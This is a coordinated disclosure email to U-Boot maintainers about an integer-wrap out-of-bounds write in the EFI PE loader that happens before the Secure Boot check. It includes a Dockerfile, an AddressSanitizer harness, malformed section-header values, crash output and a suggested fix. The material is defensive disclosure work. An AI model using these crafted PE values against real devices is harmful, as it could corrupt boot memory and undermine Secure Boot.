Hello U-Boot (EFI Loader) maintainers,
I'd like to report a High-severity security issue in U-Boot (EFI Loader)
(https://github.com/u-boot/u-boot /
https://git.u-boot-project.org/u-boot/u-boot) related to possible arbitrary
memory overwrite in U-Boot's EFI PE/COFF loader.
I have attached 3 files with this email as described below.
1) report.md: A full description of the vulnerability and how to reproduce it,
together with suggested fix of the issue.
2) Dockerfile: A Dockerfile for demonstrating the issue.
3) driver.c: Work with the Dockerfile to demonstrate the issue.
Attribution
-----------
Please attribute Claude and Ada Logics. This issue was found by Anthropic from
using agents to study security of open source projects, and I am from Ada
Logics helping validate the found issues and creating the report manually and
notify the maintainers.
Disclosure
----------
This report follows a 90-day coordinated disclosure deadline. I'm happy to
coordinate on the exact timing and to provide any further detail you need.
Kind regards,
Arthur Chan
ADA Logics Ltd is registered in England. No: 11624074.
Registered office: 266 Banbury Road, Post Box 292,
OX2 7DL, Oxford, Oxfordshire , United Kingdom
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates git gcc libc6-dev libasan8 && \
rm -rf /var/lib/apt/lists/*
ENV PIN=ece349ade2973e220f524ce59e59711cc919263f
WORKDIR /build
# Clone U-Boot and pin to the exact commit under test.
RUN git init u-boot && \
cd u-boot && \
git remote add origin https://github.com/u-boot/u-boot.git && \
git fetch --depth 1 origin ${PIN} && \
git checkout FETCH_HEAD
# Assert the checked-out tree is exactly the pinned commit.
RUN cd u-boot && \
HEAD_SHA=$(git rev-parse HEAD) && \
echo "checked-out: ${HEAD_SHA}" && \
echo "expected : ${PIN}" && \
test "${HEAD_SHA}" = "${PIN}" && \
echo "PIN OK"
# Extract the real vulnerable logic verbatim into .inc fragments.
# - IMAGE_SECTION_HEADER layout from include/pe.h
# - section_size(), the virt_size loop and the section-copy loop from
# lib/efi_loader/efi_image_loader.c
RUN cd u-boot && \
awk '/^typedef struct _IMAGE_SECTION_HEADER/{f=1} f{print} f&&/^}
IMAGE_SECTION_HEADER/{exit}' \
include/pe.h > /build/section_header.inc && \
awk '/^static u32 section_size/{f=1} f{print} f&&/^}$/{exit}' \
lib/efi_loader/efi_image_loader.c > /build/section_size.inc && \
awk '/Calculate upper virtual address boundary/{f=1} f{print}
f&&/^\t}$/{exit}' \
lib/efi_loader/efi_image_loader.c > /build/virt_size_loop.inc && \
awk '/Load sections into RAM/{f=1} f{print} f&&/^\t}$/{exit}' \
lib/efi_loader/efi_image_loader.c > /build/copy_loop.inc
# Show the extracted fragments so it is obvious they are the real code.
RUN echo '===== section_header.inc =====' && cat /build/section_header.inc && \
echo '===== section_size.inc =====' && cat /build/section_size.inc && \
echo '===== virt_size_loop.inc =====' && cat /build/virt_size_loop.inc && \
echo '===== copy_loop.inc =====' && cat /build/copy_loop.inc
COPY driver.c /build/driver.c
RUN gcc -g -O1 -fno-omit-frame-pointer -fsanitize=address \
-U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=0 \
-I/build /build/driver.c -o /build/poc
ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
CMD sh -c 'echo "##### pin #####"; cat /build/u-boot/.git/refs/heads/*
2>/dev/null; git -C /build/u-boot rev-parse HEAD; echo; /build/poc'
/*
* Focused AddressSanitizer harness for the U-Boot EFI PE loader.
*
* WHAT IS EXECUTED vs WHAT IS CITED
* ---------------------------------
* Executed (verbatim from the pinned upstream source):
* - section_size() (lib/efi_loader/efi_image_loader.c)
* - the "Calculate upper virtual address boundary" virt_size loop
* - the "Load sections into RAM" section-copy loop
* - the IMAGE_SECTION_HEADER layout (include/pe.h)
* These three fragments are pulled out of the checked-out tree at build time by
* awk into *.inc files and #included below unmodified, so the u32 wrap in the
* virt_size computation and the subsequent out-of-bounds section memcpy run as
* the real code runs them. memcpy/memset are the real libc functions.
*
* Cited (not executed here): the ordering fact that efi_load_pe() stores the
* Secure Boot verdict into handle->auth_status and only returns
* EFI_SECURITY_VIOLATION AFTER all of this copying has happened. That ordering
* is quoted in the report from the real efi_load_pe() body; this harness models
* only the memory-safety half (the wrap and the OOB write) so it can be driven
* under ASan without a full EFI environment.
*
* The only shim is efi_alloc_aligned_pages(): upstream it reserves EFI pages
* sized to virt_size; here it is a malloc of exactly virt_size, faithfully
* modelling that the destination buffer is sized to the (wrapped) virt_size.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
typedef uint32_t u32;
#define IMAGE_SIZEOF_SHORT_NAME 8
/* --- verbatim IMAGE_SECTION_HEADER from include/pe.h --- */
#include "section_header.inc"
/*
* max_t as used by the kernel/U-Boot: cast both operands to the given type and
* take the larger. Crucially the "sec->VirtualAddress + section_size(sec)"
* argument is evaluated as a u32 + u32 addition BEFORE it reaches max_t, so it
* wraps modulo 2^32 first and only the truncated result is widened here.
*/
#define max_t(type, x, y) ({ type _mx = (type)(x); type _my = (type)(y); _mx > _my ? _mx : _my; })
/* --- verbatim section_size() from lib/efi_loader/efi_image_loader.c --- */
#include "section_size.inc"
/*
* Shim for the leaf allocator. Upstream: efi_alloc_aligned_pages() reserves
* memory sized to virt_size. Here: malloc of exactly virt_size, so the
* destination buffer is exactly as large as the (possibly wrapped) virt_size.
*/
static void *efi_alloc_aligned_pages(unsigned long size, int mem_type,
size_t align)
{
(void)mem_type;
(void)align;
return malloc(size);
}
/* Fixed, comfortably-sized source image so that all reads stay in bounds and
* only the destination write can trip ASan. */
#define SRC_SIZE 0x4000
static int run_case(const char *label, IMAGE_SECTION_HEADER *sections,
int num_sections)
{
int i;
unsigned long virt_size = 0;
void *efi;
void *efi_reloc;
efi = malloc(SRC_SIZE);
memset(efi, 0x41, SRC_SIZE);
/* --- verbatim virt_size loop from efi_load_pe() --- */
#include "virt_size_loop.inc"
printf("[%s] num_sections=%d section[0] VirtualAddress=0x%08x "
"VirtualSize=0x%08x SizeOfRawData=0x%08x\n",
label, num_sections, sections[0].VirtualAddress,
sections[0].Misc.VirtualSize, sections[0].SizeOfRawData);
printf("[%s] computed virt_size = 0x%lx -> allocating that many bytes\n",
label, virt_size);
efi_reloc = efi_alloc_aligned_pages(virt_size, 0, 0x1000);
if (!efi_reloc) {
printf("[%s] allocation failed\n", label);
return -1;
}
printf("[%s] running the real section-copy loop "
"(memcpy dest = efi_reloc + VirtualAddress)...\n", label);
fflush(stdout);
/* --- verbatim section-copy loop from efi_load_pe() --- */
#include "copy_loop.inc"
printf("[%s] section copy completed with no memory violation\n", label);
fflush(stdout);
free(efi_reloc);
free(efi);
return 0;
}
int main(void)
{
/*
* NEGATIVE CONTROL: a well-formed section that fits inside a sane
* virt_size. VirtualAddress 0x1000 + VirtualSize 0x1000 = 0x2000, no
* wrap, allocation is 0x2000, the copy lands inside it -> clean.
*/
IMAGE_SECTION_HEADER neg = {0};
neg.VirtualAddress = 0x1000;
neg.Misc.VirtualSize = 0x1000;
neg.SizeOfRawData = 0x1000;
neg.PointerToRawData = 0x0;
printf("=== NEGATIVE CONTROL: well-formed section ===\n");
run_case("neg", &neg, 1);
printf("\n");
/*
* POSITIVE CONTROL: a malformed section that a Secure Boot policy must
* reject, but whose bytes are copied before that verdict is enforced.
* VirtualAddress 0xFFFFF000 + VirtualSize 0x2000 wraps in u32 to 0x1000,
* so virt_size = 0x1000 -> a one-page allocation, yet the section-copy
* memcpy writes to efi_reloc + 0xFFFFF000 for 0x2000 bytes: a write far
* past the buffer with attacker-controlled bytes.
*/
IMAGE_SECTION_HEADER pos = {0};
pos.VirtualAddress = 0xFFFFF000;
pos.Misc.VirtualSize = 0x2000;
pos.SizeOfRawData = 0x2000;
pos.PointerToRawData = 0x0;
printf("=== POSITIVE CONTROL: u32-wrap virt_size -> OOB section copy ===\n");
run_case("pos", &pos, 1);
printf("positive control returned without a crash (unexpected)\n");
return 0;
}
# A malformed PE on removable media is copied into memory, with an attacker-controlled destination and an integer-wrapped allocation size, before U-Boot enforces the Secure Boot verdict
U-Boot's EFI PE/COFF loader, `efi_load_pe()` in `lib/efi_loader/efi_image_loader.c`, computes the verified-boot verdict and stores it into `handle->auth_status` but does not act on it: it then allocates a destination buffer, copies the PE headers, and copies every section into that buffer, and only after all of that does it return `EFI_SECURITY_VIOLATION` for an image that failed authentication. Because the section geometry is never validated, a single section can drive a memory-corrupting copy during this window: `virt_size` is accumulated as `max_t(unsigned long, virt_size, sec->VirtualAddress + section_size(sec))`, where the inner `u32 + u32` addition wraps modulo 2^32 before it is widened, so a section with `VirtualAddress = 0xFFFFF000` and `VirtualSize = 0x2000` yields `virt_size = 0x1000`, a one-page allocation, after which the section-copy loop runs `memcpy(efi_reloc + 0xFFFFF000, ..., 0x2000)` and writes attacker bytes far past the buffer. On a build with `CONFIG_EFI_SECURE_BOOT`, an attacker who can place a crafted PE where U-Boot will load it (the EFI system partition, other removable media, or an HTTP boot source) reaches this corruption even though the image is destined to be rejected, so the memory-safety violation happens before, and independently of, the Secure Boot decision. The defect is confirmed below by an AddressSanitizer proof of concept that drives the real extracted loader logic. This is the same class of flaw as the public barebox VulnCheck "EFI PE Loader Memory Safety" advisory; the U-Boot loader is unfixed.
## Root cause
`efi_load_pe()` authenticates the image and records the result in `handle->auth_status`, but there is no early return on failure: control simply falls through to the loading path.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/lib/efi_loader/efi_image_loader.c#L941-L947
```c
/* Authenticate an image */
if (efi_image_authenticate(efi, efi_size)) {
handle->auth_status = EFI_IMAGE_AUTH_PASSED;
} else {
handle->auth_status = EFI_IMAGE_AUTH_FAILED;
log_err("Image not authenticated\n");
}
```
The upper virtual-address boundary that sizes the destination allocation is accumulated with `max_t(unsigned long, ...)`, but the second argument `sec->VirtualAddress + section_size(sec)` is a `u32 + u32` sum (both `IMAGE_SECTION_HEADER` fields are `uint32_t` in `include/pe.h`) that is evaluated, and wraps, in 32-bit arithmetic before it is widened to `unsigned long`. A section with `VirtualAddress = 0xFFFFF000` and `VirtualSize = 0x2000` therefore contributes `0x1000`, and `virt_size` collapses to a single page.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/lib/efi_loader/efi_image_loader.c#L949-L955
```c
/* Calculate upper virtual address boundary */
for (i = num_sections - 1; i >= 0; i--) {
IMAGE_SECTION_HEADER *sec = §ions[i];
virt_size = max_t(unsigned long, virt_size,
sec->VirtualAddress + section_size(sec));
}
```
`section_size()` returns the raw `u32` `VirtualSize` (or `SizeOfRawData`) with no clamping.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/lib/efi_loader/efi_image_loader.c#L875-L881
```c
static u32 section_size(IMAGE_SECTION_HEADER *sec)
{
if (sec->Misc.VirtualSize)
return sec->Misc.VirtualSize;
else
return sec->SizeOfRawData;
}
```
`virt_size` is then handed straight to `efi_alloc_aligned_pages()`, so the allocation is exactly the wrapped, undersized value.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/lib/efi_loader/efi_image_loader.c#L964-L971
```c
efi_reloc = efi_alloc_aligned_pages(virt_size,
loaded_image_info->image_code_type,
opt->SectionAlignment);
if (!efi_reloc) {
log_err("Out of memory\n");
ret = EFI_OUT_OF_RESOURCES;
goto err;
}
```
The section-copy loop then writes each section at `efi_reloc + sec->VirtualAddress` for `section_size(sec)` bytes. Neither `VirtualAddress`, `SizeOfRawData` nor `PointerToRawData` is ever checked against `virt_size` or `efi_size`; the only sanity check in the whole function is the section-count check at L935-939. With the wrapped geometry above this is `memcpy(efi_reloc + 0xFFFFF000, efi + PointerToRawData, 0x2000)`, an attacker-controlled write far past a one-page buffer.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/lib/efi_loader/efi_image_loader.c#L1019-L1032
```c
/* Load sections into RAM */
for (i = num_sections - 1; i >= 0; i--) {
IMAGE_SECTION_HEADER *sec = §ions[i];
u32 copy_size = section_size(sec);
if (copy_size > sec->SizeOfRawData) {
copy_size = sec->SizeOfRawData;
memset(efi_reloc + sec->VirtualAddress, 0,
sec->Misc.VirtualSize);
}
memcpy(efi_reloc + sec->VirtualAddress,
efi + sec->PointerToRawData,
copy_size);
}
```
Only now, after the headers and every section have been copied and relocations applied, is the authentication verdict consulted, too late to prevent the corruption above.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/lib/efi_loader/efi_image_loader.c#L1059-L1062
```c
if (handle->auth_status == EFI_IMAGE_AUTH_PASSED)
return EFI_SUCCESS;
else
return EFI_SECURITY_VIOLATION;
```
## Proof of Concept
The reproducer extracts, at build time and verbatim from the pinned tree, the `IMAGE_SECTION_HEADER` layout from `include/pe.h` and `section_size()`, the `virt_size` boundary loop and the section-copy loop from `efi_load_pe()`, and `#include`s them unmodified so the real u32-wrap computation and the real section-copy `memcpy` execute; `memcpy`/`memset` are the genuine libc functions. The single shim is `efi_alloc_aligned_pages()`, modelled as a `malloc` of exactly `virt_size` so the destination buffer is sized to the wrapped value, exactly as the real allocator sizes it. What is executed is the integer wrap and the out-of-bounds write; what is cited from the real code, and not executed here, is the ordering fact that `efi_load_pe()` stores the Secure Boot verdict and only returns `EFI_SECURITY_VIOLATION` after this copying, quoted above from L941-947 and L1059-1062. The build asserts the checked-out `HEAD` equals the pinned commit before compiling.
```
docker build -t poc . && docker run --rm poc
```
### Result
```
##### pin #####
ece349ade2973e220f524ce59e59711cc919263f
=== NEGATIVE CONTROL: well-formed section ===
[neg] num_sections=1 section[0] VirtualAddress=0x00001000 VirtualSize=0x00001000 SizeOfRawData=0x00001000
[neg] computed virt_size = 0x2000 -> allocating that many bytes
[neg] running the real section-copy loop (memcpy dest = efi_reloc + VirtualAddress)...
[neg] section copy completed with no memory violation
=== POSITIVE CONTROL: u32-wrap virt_size -> OOB section copy ===
[pos] num_sections=1 section[0] VirtualAddress=0xfffff000 VirtualSize=0x00002000 SizeOfRawData=0x00002000
[pos] computed virt_size = 0x1000 -> allocating that many bytes
[pos] running the real section-copy loop (memcpy dest = efi_reloc + VirtualAddress)...
AddressSanitizer:DEADLYSIGNAL
=================================================================
==10==ERROR: AddressSanitizer: SEGV on unknown address 0x521100000500 (pc 0x7f1fcc2a5f07 bp 0x7fff509c07f0 sp 0x7fff509c07a8 T0)
==10==The signal is caused by a WRITE memory access.
#0 0x7f1fcc2a5f07 (/lib/x86_64-linux-gnu/libc.so.6+0x188f07) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#1 0x55c3199bb643 in run_case /build/copy_loop.inc:11
#2 0x55c3199bbb7a in main /build/driver.c:141
#3 0x7f1fcc1471c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#4 0x7f1fcc14728a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#5 0x55c3199bb2a4 in _start (/build/poc+0x12a4) (BuildId: ce7533c88a4ea5a347f4ae9a43866b025d136e3e)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x188f07) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
==10==ABORTING
Aborted (core dumped)
```
The negative control feeds a well-formed section (`VirtualAddress + VirtualSize = 0x2000`, no wrap): `virt_size` is `0x2000`, the allocation is `0x2000`, the copy lands inside it and completes cleanly, so the loader logic is correct on honest input and the positive result is not an artefact of the harness. The positive control feeds the malformed section: `virt_size` wraps to `0x1000`, the allocation is one page, and the real section-copy `memcpy` at `copy_loop.inc:11` then writes at `efi_reloc + 0xFFFFF000`, which AddressSanitizer catches as an out-of-bounds WRITE and the process aborts. The crash is reported as a SEGV rather than a labelled heap-buffer-overflow because the u32 wrap forces `VirtualAddress` to be roughly 4 GiB, so the destination is a wild pointer into unmapped memory rather than a near-boundary redzone; it is the same out-of-bounds write either way. Exploitation preconditions on a real device: a build with `CONFIG_EFI_SECURE_BOOT`, and an attacker able to place the crafted PE where U-Boot loads EFI images (the ESP or other removable media, or an HTTP/network boot source); the corruption occurs during loading, before the image would be rejected as unauthenticated.
## Mitigation
Enforce the authentication verdict before doing any work: when `efi_image_authenticate()` fails, return `EFI_SECURITY_VIOLATION` immediately, before the allocation and the header and section copies, rather than at the end of the function. Independently, validate the section table before use with overflow-safe, widened arithmetic: compute `(uint64_t)sec->VirtualAddress + section_size(sec)` and reject the image if it overflows or exceeds a sane image limit, and check each section's `VirtualAddress + section_size(sec)` against the final `virt_size` and its `PointerToRawData + SizeOfRawData` against `efi_size`, so that a section can never be copied outside the allocated buffer or read outside the input image.
## Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged manually with manual report writing by Ada Logics in collaboration with Anthropic Research.